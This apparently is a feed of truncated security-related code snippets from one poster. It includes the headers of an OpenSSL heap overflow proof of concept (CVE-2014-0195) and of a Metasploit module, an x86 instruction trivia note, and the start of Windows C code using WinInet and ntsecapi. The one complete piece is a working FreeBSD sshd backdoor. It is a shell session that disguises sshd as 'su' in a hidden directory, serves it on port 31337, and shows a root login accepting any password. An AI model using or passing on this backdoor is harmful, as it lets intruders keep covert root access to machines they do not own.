atimorin

#!/usr/bin/env python2
#
# OpenSSL heap overflow PoC
# Found by ZDI - ZDI-14-173 // CVE-2014-0195
# PoC by @_hugsy_
#
# Ref: https://tools.ietf.org/html/rfc6347
#

import socket, struct

atimorin

#!/usr/bin/python
# -*- coding: utf8 -*-

import sys
import os
import time
import select
import socket

import pycares

atimorin

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
require 'msf/core'

class Metasploit3 < Msf::Auxiliary
	Rank = ExcellentRanking

atimorin

Dillon Beresford:

Longest x86 instruction is 15 bytes in 16-bit mode and 13 bytes in 32-bit mode: [16-bit] 66 67 F0 3E 81 04 4E 01234567 89ABCDEF add [ds:esi+ecx*2+0x67452301], 0xEFCDAB89 [32-bit] F0 3E 81 04 4E 01234567 89ABCDEF add [ds:esi+ecx*2+0x67452301], 0xEFCDAB89 

atimorin

simplest sshd backdoor ever.
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD BSDPWNED 9.0-RELEASE ...
BSDPWNED# mkdir /tmp/" "
BSDPWNED# ln -sf /usr/sbin/sshd /tmp/" "/su
BSDPWNED# /tmp/" "/su -oPort=31337
BSDPWNED# ssh -lroot -p31337 0
root@0's password: <any password>

atimorin

#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>

void writeToLog(const char* szString)
{
    FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    if (NULL == pFile)
    {